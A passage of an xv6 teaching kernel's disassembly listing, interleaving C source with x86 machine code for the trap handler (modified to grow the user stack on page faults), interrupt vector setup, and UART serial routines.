0x0(%edi,%eiz,1),%edi 801053e0 <sys_uptime>: // return how many clock tick interrupts have occurred // since start. int sys_uptime(void) { 801053e0: 55 push %ebp 801053e1: 89 e5 mov %esp,%ebp 801053e3: 53 push %ebx 801053e4: 83 ec 14 sub $0x14,%esp uint xticks; acquire(&tickslock); 801053e7: c7 04 24 60 4d 11 80 movl $0x80114d60,(%esp) 801053ee: e8 3d ed ff ff call 80104130 <acquire> xticks = ticks; 801053f3: 8b 1d a0 55 11 80 mov 0x801155a0,%ebx release(&tickslock); 801053f9: c7 04 24 60 4d 11 80 movl $0x80114d60,(%esp) 80105400: e8 1b ee ff ff call 80104220 <release> return xticks; } 80105405: 83 c4 14 add $0x14,%esp 80105408: 89 d8 mov %ebx,%eax 8010540a: 5b pop %ebx 8010540b: 5d pop %ebp 8010540c: c3 ret 8010540d <alltraps>: # vectors.S sends all traps here. .globl alltraps alltraps: # Build trap frame. pushl %ds 8010540d: 1e push %ds pushl %es 8010540e: 06 push %es pushl %fs 8010540f: 0f a0 push %fs pushl %gs 80105411: 0f a8 push %gs pushal 80105413: 60 pusha # Set up data segments. movw $(SEG_KDATA<<3), %ax 80105414: 66 b8 10 00 mov $0x10,%ax movw %ax, %ds 80105418: 8e d8 mov %eax,%ds movw %ax, %es 8010541a: 8e c0 mov %eax,%es # Call trap(tf), where tf=%esp pushl %esp 8010541c: 54 push %esp call trap 8010541d: e8 de 00 00 00 call 80105500 <trap> addl $4, %esp 80105422: 83 c4 04 add $0x4,%esp 80105425 <trapret>: # Return falls through to trapret... .globl trapret trapret: popal 80105425: 61 popa popl %gs 80105426: 0f a9 pop %gs popl %fs 80105428: 0f a1 pop %fs popl %es 8010542a: 07 pop %es popl %ds 8010542b: 1f pop %ds addl $0x8, %esp # trapno and errcode 8010542c: 83 c4 08 add $0x8,%esp iret 8010542f: cf iret 80105430 <tvinit>: void tvinit(void) { int i; for(i = 0; i < 256; i++) 80105430: 31 c0 xor %eax,%eax 80105432: 8d b6 00 00 00 00 lea 0x0(%esi),%esi SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0); 80105438: 8b 14 85 08 a0 10 80 mov -0x7fef5ff8(,%eax,4),%edx 8010543f: b9 08 00 00 00 mov $0x8,%ecx 80105444: 66 89 0c c5 a2 4d 11 mov %cx,-0x7feeb25e(,%eax,8) 8010544b: 80 8010544c: c6 04 c5 a4 4d 11 80 movb $0x0,-0x7feeb25c(,%eax,8) 80105453: 00 80105454: c6 04 c5 a5 4d 11 80 movb $0x8e,-0x7feeb25b(,%eax,8) 8010545b: 8e 8010545c: 66 89 14 c5 a0 4d 11 mov %dx,-0x7feeb260(,%eax,8) 80105463: 80 80105464: c1 ea 10 shr $0x10,%edx 80105467: 66 89 14 c5 a6 4d 11 mov %dx,-0x7feeb25a(,%eax,8) 8010546e: 80 for(i = 0; i < 256; i++) 8010546f: 83 c0 01 add $0x1,%eax 80105472: 3d 00 01 00 00 cmp $0x100,%eax 80105477: 75 bf jne 80105438 <tvinit+0x8> { 80105479: 55 push %ebp SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER); 8010547a: ba 08 00 00 00 mov $0x8,%edx { 8010547f: 89 e5 mov %esp,%ebp 80105481: 83 ec 18 sub $0x18,%esp SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER); 80105484: a1 08 a1 10 80 mov 0x8010a108,%eax initlock(&tickslock, "time"); 80105489: c7 44 24 04 c1 75 10 movl $0x801075c1,0x4(%esp) 80105490: 80 80105491: c7 04 24 60 4d 11 80 movl $0x80114d60,(%esp) SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER); 80105498: 66 89 15 a2 4f 11 80 mov %dx,0x80114fa2 8010549f: 66 a3 a0 4f 11 80 mov %ax,0x80114fa0 801054a5: c1 e8 10 shr $0x10,%eax 801054a8: c6 05 a4 4f 11 80 00 movb $0x0,0x80114fa4 801054af: c6 05 a5 4f 11 80 ef movb $0xef,0x80114fa5 801054b6: 66 a3 a6 4f 11 80 mov %ax,0x80114fa6 initlock(&tickslock, "time"); 801054bc: e8 7f eb ff ff call 80104040 <initlock> } 801054c1: c9 leave 801054c2: c3 ret 801054c3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801054c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801054d0 <idtinit>: void idtinit(void) { 801054d0: 55 push %ebp pd[0] = size-1; 801054d1: b8 ff 07 00 00 mov $0x7ff,%eax 801054d6: 89 e5 mov %esp,%ebp 801054d8: 83 ec 10 sub $0x10,%esp 801054db: 66 89 45 fa mov %ax,-0x6(%ebp) pd[1] = (uint)p; 801054df: b8 a0 4d 11 80 mov $0x80114da0,%eax 801054e4: 66 89 45 fc mov %ax,-0x4(%ebp) pd[2] = (uint)p >> 16; 801054e8: c1 e8 10 shr $0x10,%eax 801054eb: 66 89 45 fe mov %ax,-0x2(%ebp) asm volatile("lidt (%0)" : : "r" (pd)); 801054ef: 8d 45 fa lea -0x6(%ebp),%eax 801054f2: 0f 01 18 lidtl (%eax) lidt(idt, sizeof(idt)); } 801054f5: c9 leave 801054f6: c3 ret 801054f7: 89 f6 mov %esi,%esi 801054f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105500 <trap>: //PAGEBREAK: 41 void trap(struct trapframe *tf) { 80105500: 55 push %ebp 80105501: 89 e5 mov %esp,%ebp 80105503: 57 push %edi 80105504: 56 push %esi 80105505: 53 push %ebx 80105506: 83 ec 3c sub $0x3c,%esp 80105509: 8b 5d 08 mov 0x8(%ebp),%ebx if(tf->trapno == T_SYSCALL){ 8010550c: 8b 43 30 mov 0x30(%ebx),%eax 8010550f: 83 f8 40 cmp $0x40,%eax 80105512: 0f 84 c0 01 00 00 je 801056d8 <trap+0x1d8> if(myproc()->killed) exit(); return; } switch(tf->trapno){ 80105518: 83 e8 0e sub $0xe,%eax 8010551b: 83 f8 31 cmp $0x31,%eax 8010551e: 77 28 ja 80105548 <trap+0x48> 80105520: ff 24 85 0c 77 10 80 jmp *-0x7fef88f4(,%eax,4) 80105527: 90 nop static inline uint rcr2(void) { uint val; asm volatile("movl %%cr2,%0" : "=r" (val)); 80105528: 0f 20 d6 mov %cr2,%esi cprintf("cpu%d: spurious interrupt at %x:%x\n", cpuid(), tf->cs, tf->eip); lapiceoi(); break; case T_PGFLT:; if(((rcr2()) > NEWKERNBASE - (PGSIZE * (myproc()->stacksize + 1) + 1))){ 8010552b: e8 60 e1 ff ff call 80103690 <myproc> 80105530: 8b 50 7c mov 0x7c(%eax),%edx 80105533: b8 fe ff ff 7f mov $0x7ffffffe,%eax 80105538: 83 c2 01 add $0x1,%edx 8010553b: c1 e2 0c shl $0xc,%edx 8010553e: 29 d0 sub %edx,%eax 80105540: 39 f0 cmp %esi,%eax 80105542: 0f 82 08 02 00 00 jb 80105750 <trap+0x250> break; } //break; //PAGEBREAK: 13 default: if(myproc() == 0 || (tf->cs&3) == 0){ 80105548: e8 43 e1 ff ff call 80103690 <myproc> 8010554d: 85 c0 test %eax,%eax 8010554f: 0f 84 75 02 00 00 je 801057ca <trap+0x2ca> 80105555: f6 43 3c 03 testb $0x3,0x3c(%ebx) 80105559: 0f 84 6b 02 00 00 je 801057ca <trap+0x2ca> 8010555f: 0f 20 d1 mov %cr2,%ecx cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", tf->trapno, cpuid(), tf->eip, rcr2()); panic("trap"); } // In user space, assume process misbehaved. cprintf("pid %d %s: trap %d err %d on cpu %d " 80105562: 8b 53 38 mov 0x38(%ebx),%edx 80105565: 89 4d d8 mov %ecx,-0x28(%ebp) 80105568: 89 55 dc mov %edx,-0x24(%ebp) 8010556b: e8 00 e1 ff ff call 80103670 <cpuid> 80105570: 8b 73 30 mov 0x30(%ebx),%esi 80105573: 89 c7 mov %eax,%edi 80105575: 8b 43 34 mov 0x34(%ebx),%eax 80105578: 89 45 e4 mov %eax,-0x1c(%ebp) "eip 0x%x addr 0x%x--kill proc\n", myproc()->pid, myproc()->name, tf->trapno, 8010557b: e8 10 e1 ff ff call 80103690 <myproc> 80105580: 89 45 e0 mov %eax,-0x20(%ebp) 80105583: e8 08 e1 ff ff call 80103690 <myproc> cprintf("pid %d %s: trap %d err %d on cpu %d " 80105588: 8b 4d d8 mov -0x28(%ebp),%ecx 8010558b: 89 74 24 0c mov %esi,0xc(%esp) myproc()->pid, myproc()->name, tf->trapno, 8010558f: 8b 75 e0 mov -0x20(%ebp),%esi cprintf("pid %d %s: trap %d err %d on cpu %d " 80105592: 8b 55 dc mov -0x24(%ebp),%edx 80105595: 89 7c 24 14 mov %edi,0x14(%esp) 80105599: 8b 7d e4 mov -0x1c(%ebp),%edi 8010559c: 89 4c 24 1c mov %ecx,0x1c(%esp) myproc()->pid, myproc()->name, tf->trapno, 801055a0: 83 c6 6c add $0x6c,%esi cprintf("pid %d %s: trap %d err %d on cpu %d " 801055a3: 89 54 24 18 mov %edx,0x18(%esp) 801055a7: 89 7c 24 10 mov %edi,0x10(%esp) myproc()->pid, myproc()->name, tf->trapno, 801055ab: 89 74 24 08 mov %esi,0x8(%esp) cprintf("pid %d %s: trap %d err %d on cpu %d " 801055af: 8b 40 10 mov 0x10(%eax),%eax 801055b2: c7 04 24 c8 76 10 80 movl $0x801076c8,(%esp) 801055b9: 89 44 24 04 mov %eax,0x4(%esp) 801055bd: e8 8e b0 ff ff call 80100650 <cprintf> tf->err, cpuid(), tf->eip, rcr2()); myproc()->killed = 1; 801055c2: e8 c9 e0 ff ff call 80103690 <myproc> 801055c7: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax) } // Force process exit if it has been killed and is in user space. // (If it is still executing in the kernel, let it keep running // until it gets to the regular system call return.) if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 801055ce: e8 bd e0 ff ff call 80103690 <myproc> 801055d3: 85 c0 test %eax,%eax 801055d5: 74 0c je 801055e3 <trap+0xe3> 801055d7: e8 b4 e0 ff ff call 80103690 <myproc> 801055dc: 8b 50 24 mov 0x24(%eax),%edx 801055df: 85 d2 test %edx,%edx 801055e1: 75 4d jne 80105630 <trap+0x130> exit(); // Force process to give up CPU on clock tick. // If interrupts were on while locks held, would need to check nlock. if(myproc() && myproc()->state == RUNNING && 801055e3: e8 a8 e0 ff ff call 80103690 <myproc> 801055e8: 85 c0 test %eax,%eax 801055ea: 74 0f je 801055fb <trap+0xfb> 801055ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801055f0: e8 9b e0 ff ff call 80103690 <myproc> 801055f5: 83 78 0c 04 cmpl $0x4,0xc(%eax) 801055f9: 74 4d je 80105648 <trap+0x148> tf->trapno == T_IRQ0+IRQ_TIMER) yield(); // Check if the process has been killed since we yielded if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 801055fb: e8 90 e0 ff ff call 80103690 <myproc> 80105600: 85 c0 test %eax,%eax 80105602: 74 1d je 80105621 <trap+0x121> 80105604: e8 87 e0 ff ff call 80103690 <myproc> 80105609: 8b 40 24 mov 0x24(%eax),%eax 8010560c: 85 c0 test %eax,%eax 8010560e: 74 11 je 80105621 <trap+0x121> 80105610: 0f b7 43 3c movzwl 0x3c(%ebx),%eax 80105614: 83 e0 03 and $0x3,%eax 80105617: 66 83 f8 03 cmp $0x3,%ax 8010561b: 0f 84 e8 00 00 00 je 80105709 <trap+0x209> exit(); } 80105621: 83 c4 3c add $0x3c,%esp 80105624: 5b pop %ebx 80105625: 5e pop %esi 80105626: 5f pop %edi 80105627: 5d pop %ebp 80105628: c3 ret 80105629: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 80105630: 0f b7 43 3c movzwl 0x3c(%ebx),%eax 80105634: 83 e0 03 and $0x3,%eax 80105637: 66 83 f8 03 cmp $0x3,%ax 8010563b: 75 a6 jne 801055e3 <trap+0xe3> exit(); 8010563d: e8 4e e4 ff ff call 80103a90 <exit> 80105642: eb 9f jmp 801055e3 <trap+0xe3> 80105644: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(myproc() && myproc()->state == RUNNING && 80105648: 83 7b 30 20 cmpl $0x20,0x30(%ebx) 8010564c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80105650: 75 a9 jne 801055fb <trap+0xfb> yield(); 80105652: e8 59 e5 ff ff call 80103bb0 <yield> 80105657: eb a2 jmp 801055fb <trap+0xfb> 80105659: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(cpuid() == 0){ 80105660: e8 0b e0 ff ff call 80103670 <cpuid> 80105665: 85 c0 test %eax,%eax 80105667: 0f 84 b3 00 00 00 je 80105720 <trap+0x220> 8010566d: 8d 76 00 lea 0x0(%esi),%esi lapiceoi(); 80105670: e8 fb d0 ff ff call 80102770 <lapiceoi> break; 80105675: e9 54 ff ff ff jmp 801055ce <trap+0xce> 8010567a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi kbdintr(); 80105680: e8 3b cf ff ff call 801025c0 <kbdintr> lapiceoi(); 80105685: e8 e6 d0 ff ff call 80102770 <lapiceoi> break; 8010568a: e9 3f ff ff ff jmp 801055ce <trap+0xce> 8010568f: 90 nop uartintr(); 80105690: e8 8b 02 00 00 call 80105920 <uartintr> lapiceoi(); 80105695: e8 d6 d0 ff ff call 80102770 <lapiceoi> break; 8010569a: e9 2f ff ff ff jmp 801055ce <trap+0xce> 8010569f: 90 nop cprintf("cpu%d: spurious interrupt at %x:%x\n", 801056a0: 8b 7b 38 mov 0x38(%ebx),%edi 801056a3: 0f b7 73 3c movzwl 0x3c(%ebx),%esi 801056a7: e8 c4 df ff ff call 80103670 <cpuid> 801056ac: c7 04 24 cc 75 10 80 movl $0x801075cc,(%esp) 801056b3: 89 7c 24 0c mov %edi,0xc(%esp) 801056b7: 89 74 24 08 mov %esi,0x8(%esp) 801056bb: 89 44 24 04 mov %eax,0x4(%esp) 801056bf: e8 8c af ff ff call 80100650 <cprintf> lapiceoi(); 801056c4: e8 a7 d0 ff ff call 80102770 <lapiceoi> break; 801056c9: e9 00 ff ff ff jmp 801055ce <trap+0xce> 801056ce: 66 90 xchg %ax,%ax ideintr(); 801056d0: e8 9b c9 ff ff call 80102070 <ideintr> 801056d5: eb 96 jmp 8010566d <trap+0x16d> 801056d7: 90 nop 801056d8: 90 nop 801056d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(myproc()->killed) 801056e0: e8 ab df ff ff call 80103690 <myproc> 801056e5: 8b 70 24 mov 0x24(%eax),%esi 801056e8: 85 f6 test %esi,%esi 801056ea: 75 2c jne 80105718 <trap+0x218> myproc()->tf = tf; 801056ec: e8 9f df ff ff call 80103690 <myproc> 801056f1: 89 58 18 mov %ebx,0x18(%eax) syscall(); 801056f4: e8 17 ef ff ff call 80104610 <syscall> if(myproc()->killed) 801056f9: e8 92 df ff ff call 80103690 <myproc> 801056fe: 8b 48 24 mov 0x24(%eax),%ecx 80105701: 85 c9 test %ecx,%ecx 80105703: 0f 84 18 ff ff ff je 80105621 <trap+0x121> } 80105709: 83 c4 3c add $0x3c,%esp 8010570c: 5b pop %ebx 8010570d: 5e pop %esi 8010570e: 5f pop %edi 8010570f: 5d pop %ebp exit(); 80105710: e9 7b e3 ff ff jmp 80103a90 <exit> 80105715: 8d 76 00 lea 0x0(%esi),%esi exit(); 80105718: e8 73 e3 ff ff call 80103a90 <exit> 8010571d: eb cd jmp 801056ec <trap+0x1ec> 8010571f: 90 nop acquire(&tickslock); 80105720: c7 04 24 60 4d 11 80 movl $0x80114d60,(%esp) 80105727: e8 04 ea ff ff call 80104130 <acquire> wakeup(&ticks); 8010572c: c7 04 24 a0 55 11 80 movl $0x801155a0,(%esp) ticks++; 80105733: 83 05 a0 55 11 80 01 addl $0x1,0x801155a0 wakeup(&ticks); 8010573a: e8 41 e6 ff ff call 80103d80 <wakeup> release(&tickslock); 8010573f: c7 04 24 60 4d 11 80 movl $0x80114d60,(%esp) 80105746: e8 d5 ea ff ff call 80104220 <release> 8010574b: e9 1d ff ff ff jmp 8010566d <trap+0x16d> uint user_top = KERNBASE - (PGSIZE * (myproc()->stacksize + 1)); 80105750: e8 3b df ff ff call 80103690 <myproc> 80105755: 8b 70 7c mov 0x7c(%eax),%esi if(allocuvm(myproc()->pgdir, user_top, user_top + 8) == 0){ 80105758: e8 33 df ff ff call 80103690 <myproc> uint user_top = KERNBASE - (PGSIZE * (myproc()->stacksize + 1)); 8010575d: f7 de neg %esi 8010575f: c1 e6 0c shl $0xc,%esi if(allocuvm(myproc()->pgdir, user_top, user_top + 8) == 0){ 80105762: 8d 96 08 f0 ff 7f lea 0x7ffff008(%esi),%edx uint user_top = KERNBASE - (PGSIZE * (myproc()->stacksize + 1)); 80105768: 81 c6 00 f0 ff 7f add $0x7ffff000,%esi if(allocuvm(myproc()->pgdir, user_top, user_top + 8) == 0){ 8010576e: 89 54 24 08 mov %edx,0x8(%esp) 80105772: 89 74 24 04 mov %esi,0x4(%esp) 80105776: 8b 40 04 mov 0x4(%eax),%eax 80105779: 89 04 24 mov %eax,(%esp) 8010577c: e8 1f 11 00 00 call 801068a0 <allocuvm> 80105781: 85 c0 test %eax,%eax 80105783: 74 26 je 801057ab <trap+0x2ab> myproc()->stacksize += 1; 80105785: e8 06 df ff ff call 80103690 <myproc> 8010578a: 83 40 7c 01 addl $0x1,0x7c(%eax) cprintf("case T_PGFLT from trap.c: allocuvm succeeded. Number of pages allocated: %d\n", myproc()->stacksize); 8010578e: e8 fd de ff ff call 80103690 <myproc> 80105793: 8b 40 7c mov 0x7c(%eax),%eax 80105796: c7 04 24 44 76 10 80 movl $0x80107644,(%esp) 8010579d: 89 44 24 04 mov %eax,0x4(%esp) 801057a1: e8 aa ae ff ff call 80100650 <cprintf> break; 801057a6: e9 23 fe ff ff jmp 801055ce <trap+0xce> cprintf("case T_PGFLT from trap.c: allocuvm failed. Number of current allocated pages: %d\n", myproc()->stacksize); 801057ab: e8 e0 de ff ff call 80103690 <myproc> 801057b0: 8b 40 7c mov 0x7c(%eax),%eax 801057b3: c7 04 24 f0 75 10 80 movl $0x801075f0,(%esp) 801057ba: 89 44 24 04 mov %eax,0x4(%esp) 801057be: e8 8d ae ff ff call 80100650 <cprintf> exit(); 801057c3: e8 c8 e2 ff ff call 80103a90 <exit> 801057c8: eb bb jmp 80105785 <trap+0x285> 801057ca: 0f 20 d7 mov %cr2,%edi cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", 801057cd: 8b 73 38 mov 0x38(%ebx),%esi 801057d0: e8 9b de ff ff call 80103670 <cpuid> 801057d5: 89 7c 24 10 mov %edi,0x10(%esp) 801057d9: 89 74 24 0c mov %esi,0xc(%esp) 801057dd: 89 44 24 08 mov %eax,0x8(%esp) 801057e1: 8b 43 30 mov 0x30(%ebx),%eax 801057e4: c7 04 24 94 76 10 80 movl $0x80107694,(%esp) 801057eb: 89 44 24 04 mov %eax,0x4(%esp) 801057ef: e8 5c ae ff ff call 80100650 <cprintf> panic("trap"); 801057f4: c7 04 24 c6 75 10 80 movl $0x801075c6,(%esp) 801057fb: e8 60 ab ff ff call 80100360 <panic> 80105800 <uartgetc>: } static int uartgetc(void) { if(!uart) 80105800: a1 bc a5 10 80 mov 0x8010a5bc,%eax { 80105805: 55 push %ebp 80105806: 89 e5 mov %esp,%ebp if(!uart) 80105808: 85 c0 test %eax,%eax 8010580a: 74 14 je 80105820 <uartgetc+0x20> asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010580c: ba fd 03 00 00 mov $0x3fd,%edx 80105811: ec in (%dx),%al return -1; if(!(inb(COM1+5) & 0x01)) 80105812: a8 01 test $0x1,%al 80105814: 74 0a je 80105820 <uartgetc+0x20> 80105816: b2 f8 mov $0xf8,%dl 80105818: ec in (%dx),%al return -1; return inb(COM1+0); 80105819: 0f b6 c0 movzbl %al,%eax } 8010581c: 5d pop %ebp 8010581d: c3 ret 8010581e: 66 90 xchg %ax,%ax return -1; 80105820: b8 ff ff ff ff mov $0xffffffff,%eax } 80105825: 5d pop %ebp 80105826: c3 ret 80105827: 89 f6 mov %esi,%esi 80105829: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105830 <uartputc>: if(!uart) 80105830: a1 bc a5 10 80 mov 0x8010a5bc,%eax 80105835: 85 c0 test %eax,%eax 80105837: 74 3f je 80105878 <uartputc+0x48> { 80105839: 55 push %ebp 8010583a: 89 e5 mov %esp,%ebp 8010583c: 56 push %esi 8010583d: be fd 03 00 00 mov $0x3fd,%esi 80105842: 53 push %ebx if(!uart) 80105843: bb 80 00 00 00 mov $0x80,%ebx { 80105848: 83 ec 10 sub $0x10,%esp 8010584b: eb 14 jmp 80105861 <uartputc+0x31> 8010584d: 8d 76 00 lea 0x0(%esi),%esi microdelay(10); 80105850: c7 04 24 0a 00 00 00 movl $0xa,(%esp) 80105857: e8 34 cf ff ff call 80102790 <microdelay> for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++) 8010585c: 83 eb 01 sub $0x1,%ebx 8010585f: 74 07 je 80105868 <uartputc+0x38> 80105861: 89 f2 mov %esi,%edx 80105863: ec in (%dx),%al 80105864: a8 20 test $0x20,%al 80105866: 74 e8 je 80105850 <uartputc+0x20> outb(COM1+0, c); 80105868: 0f b6 45 08 movzbl 0x8(%ebp),%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010586c: ba f8 03 00 00 mov $0x3f8,%edx 80105871: ee out %al,(%dx) } 80105872: 83 c4 10 add $0x10,%esp 80105875: 5b pop %ebx 80105876: 5e pop %esi 80105877: 5d pop %ebp 80105878: f3 c3 repz ret 8010587a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80105880 <uartinit>: { 80105880: 55 push %ebp 80105881: 31 c9 xor %ecx,%ecx 80105883: 89 e5 mov %esp,%ebp 80105885: 89 c8 mov %ecx,%eax 80105887: 57 push %edi 80105888: bf fa 03 00 00 mov $0x3fa,%edi 8010588d: 56 push %esi 8010588e: 89 fa mov %edi,%edx 80105890: 53 push %ebx 80105891: 83 ec 1c sub $0x1c,%esp 80105894: ee out %al,(%dx) 80105895: be fb 03 00 00 mov $0x3fb,%esi 8010589a: b8 80 ff ff ff mov $0xffffff80,%eax 8010589f: 89 f2 mov %esi,%edx 801058a1: ee out %al,(%dx) 801058a2: b8 0c 00 00 00 mov $0xc,%eax 801058a7: b2 f8 mov $0xf8,%dl 801058a9: ee out %al,(%dx) 801058aa: bb f9 03 00 00 mov $0x3f9,%ebx 801058af: 89 c8 mov %ecx,%eax 801058b1: 89 da mov %ebx,%edx 801058b3: ee out %al,(%dx) 801058b4: b8 03 00 00 00 mov $0x3,%eax 801058b9: 89 f2 mov %esi,%edx 801058bb: ee out %al,(%dx) 801058bc: b2 fc mov $0xfc,%dl 801058be: 89 c8 mov %ecx,%eax 801058c0: ee out %al,(%dx) 801058c1: b8 01 00 00 00 mov $0x1,%eax 801058c6: 89 da mov %ebx,%edx 801058c8: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801058c9: b2 fd mov $0xfd,%dl 801058cb: ec in (%dx),%al if(inb(COM1+5) == 0xFF) 801058cc: 3c ff cmp $0xff,%al 801058ce: 74 42 je 80105912 <uartinit+0x92> uart = 1; 801058d0: c7 05 bc a5 10 80 01 movl $0x1,0x8010a5bc 801058d7: 00 00 00 801058da: 89 fa mov %edi,%edx 801058dc: ec in (%dx),%al 801058dd: b2 f8 mov $0xf8,%dl 801058df: ec in (%dx),%al ioapicenable(IRQ_COM1, 0); 801058e0: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 801058e7: 00 for(p="xv6...\n"; *p; p++) 801058e8: bb d4 77 10 80 mov $0x801077d4,%ebx ioapicenable(IRQ_COM1, 0); 801058ed: c7 04 24 04 00 00 00 movl $0x4,(%esp) 801058f4: e8 a7 c9 ff ff call 801022a0 <ioapicenable> for(p="xv6...\n"; *p; p++) 801058f9: b8 78 00 00 00 mov $0x78,%eax 801058fe: 66 90 xchg %ax,%ax uartputc(*p); 80105900: 89 04 24 mov %eax,(%esp) for(p="xv6...\n"; *p; p++) 80105903: 83 c3 01 add $0x1,%ebx uartputc(*p); 80105906: e8 25 ff ff ff call 80105830 <uartputc> for(p="xv6...\n"; *p; p++) 8010590b: 0f be 03 movsbl (%ebx),%eax 8010590e: 84 c0 test %al,%al 80105910: 75 ee jne 80105900 <uartinit+0x80> } 80105912: 83 c4 1c add $0x1c,%esp 80105915: 5b pop %ebx 80105916: 5e pop %esi 80105917: 5f pop %edi 80105918: 5d pop %ebp 80105919: c3 ret 8010591a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80105920 <uartintr>: void uartintr(void) { 80105920: 55 push %ebp 80105921: 89 e5 mov %esp,%ebp 80105923: 83 ec 18 sub $0x18,%esp consoleintr(uartgetc); 80105926: c7 04 24 00 58 10 80 movl $0x80105800,(%esp) 8010592d: e8 7e ae ff ff call 801007b0 <consoleintr> } 80105932: c9 leave 80105933: c3 ret 80105934 <vector0>: # generated by vectors.pl - do not edit # handlers .globl alltraps .globl vector0 vector0: pushl $0 80105934: 6a 00 push $0x0 pushl $0 80105936: 6a 00 push $0x0 jmp alltraps 80105938: e9 d0 fa ff ff jmp 8010540d <alltraps> 8010593d <vector1>: .globl vector1 vector1: pushl $0 8010593d: 6a 00 push $0x0 pushl $1 8010593f: 6a 01 push $0x1 jmp alltraps 80105941: e9 c7 fa ff ff jmp 8010540d <alltraps> 80105946 <vector2>: .globl vector2 vector2: pushl $0 80105946: 6a 00 push $0x0 pushl $2 80105948: 6a 02 push $0x2 jmp alltraps 8010594a: e9 be fa ff ff jmp 8010540d <alltraps> 8010594f <vector3>: .globl vector3 vector3: pushl $0 8010594f: 6a 00 push $0x0 pushl $3 80105951: 6a 03 push $0x3 jmp alltraps 80105953: e9 b5 fa ff ff jmp 8010540d <alltraps> 80105958 <vector4>: .globl vector4 vector4: pushl $0 80105958: 6a 00 push $0x0 pushl $4 8010595a: 6a 04 push $0x4 jmp alltraps 8010595c: e9 ac fa ff ff jmp 8010540d <alltraps> 80105961 <vector5>: .globl vector5 vector5: pushl $0 80105961: 6a 00 push $0x0 pushl $5 80105963: 6a 05 push $0x5 jmp alltraps 80105965: e9 a3 fa ff ff jmp 8010540d <alltraps> 8010596a <vector6>: .globl vector6 vector6: pushl $0 8010596a: 6a 00 push $0x0 pushl $6 8010596c: 6a 06 push $0x6 jmp alltraps 8010596e: e9 9a fa ff ff jmp 8010540d <alltraps> 80105973 <vector7>: .globl vector7 vector7: pushl $0 80105973: 6a 00 push $0x0 pushl $7 80105975: 6a 07 push $0x7 jmp alltraps 80105977: e9 91 fa ff ff jmp 8010540d <alltraps> 8010597c <vector8>: .globl vector8 vector8: pushl $8 8010597c: 6a 08 push $0x8 jmp alltraps 8010597e: e9 8a fa ff ff jmp 8010540d <alltraps> 80105983 <vector9>: .globl vector9 vector9: pushl $0 80105983: 6a 00 push $0x0 pushl $9 80105985: 6a 09 push $0x9 jmp alltraps 80105987: e9 81 fa ff ff jmp 8010540d <alltraps> 8010598c <vector10>: .globl vector10 vector10: pushl $10 8010598c: 6a 0a push $0xa jmp alltraps 8010598e: e9 7a fa ff ff jmp 8010540d <alltraps> 80105993 <vector11>: .globl vector11 vector11: pushl $11 80105993: 6a 0b push $0xb jmp alltraps 80105995: e9 73 fa ff ff jmp 8010540d <alltraps> 8010599a <vector12>: .globl vector12 vector12: pushl $12 8010599a: 6a 0c push $0xc jmp alltraps 8010599c: e9 6c fa ff ff jmp 8010540d <alltraps> 801059a1 <vector13>: .globl vector13 vector13: pushl $13 801059a1: 6a 0d push $0xd jmp alltraps 801059a3: e9 65 fa ff ff jmp 8010540d <alltraps> 801059a8 <vector14>: .globl vector14 vector14: pushl $14 801059a8: 6a 0e push $0xe jmp alltraps 801059aa: e9 5e fa ff ff jmp 8010540d <alltraps> 801059af <vector15>: .globl vector15 vector15: pushl $0 801059af: 6a 00 push $0x0 pushl $15 801059b1: 6a 0f push $0xf jmp alltraps 801059b3: e9 55 fa ff ff jmp 8010540d <alltraps> 801059b8 <vector16>: .globl vector16 vector16: pushl $0 801059b8: 6a 00 push $0x0 pushl $16 801059ba: 6a 10 push $0x10 jmp alltraps 801059bc: e9 4c fa ff ff jmp 8010540d <alltraps> 801059c1 <vector17>: .globl vector17 vector17: pushl $17 801059c1: 6a 11 push $0x11 jmp alltraps 801059c3: e9 45 fa ff ff jmp 8010540d <alltraps> 801059c8 <vector18>: .globl vector18 vector18: pushl $0 801059c8: 6a 00 push $0x0 pushl $18 801059ca: 6a 12 push $0x12 jmp alltraps 801059cc: e9 3c fa ff ff jmp 8010540d <alltraps> 801059d1 <vector19>: .globl vector19 vector19: pushl $0 801059d1: 6a 00 push $0x0 pushl $19 801059d3: 6a 13 push $0x13 jmp alltraps 801059d5: e9 33 fa ff ff jmp 8010540d <alltraps> 801059da <vector20>: .globl vector20 vector20: pushl $0 801059da: 6a 00 push $0x0 pushl $20 801059dc: 6a 14 push $0x14 jmp alltraps 801059de: e9 2a fa ff ff jmp 8010540d <alltraps> 801059e3 <vector21>: .globl vector21 vector21: pushl $0 801059e3: 6a 00 push $0x0 pushl $21 801059e5: 6a 15 push $0x15 jmp alltraps 801059e7: e9 21 fa ff ff jmp 8010540d <alltraps> 801059ec <vector22>: .globl vector22 vector22: pushl $0 801059ec: 6a 00 push $0x0 pushl $22 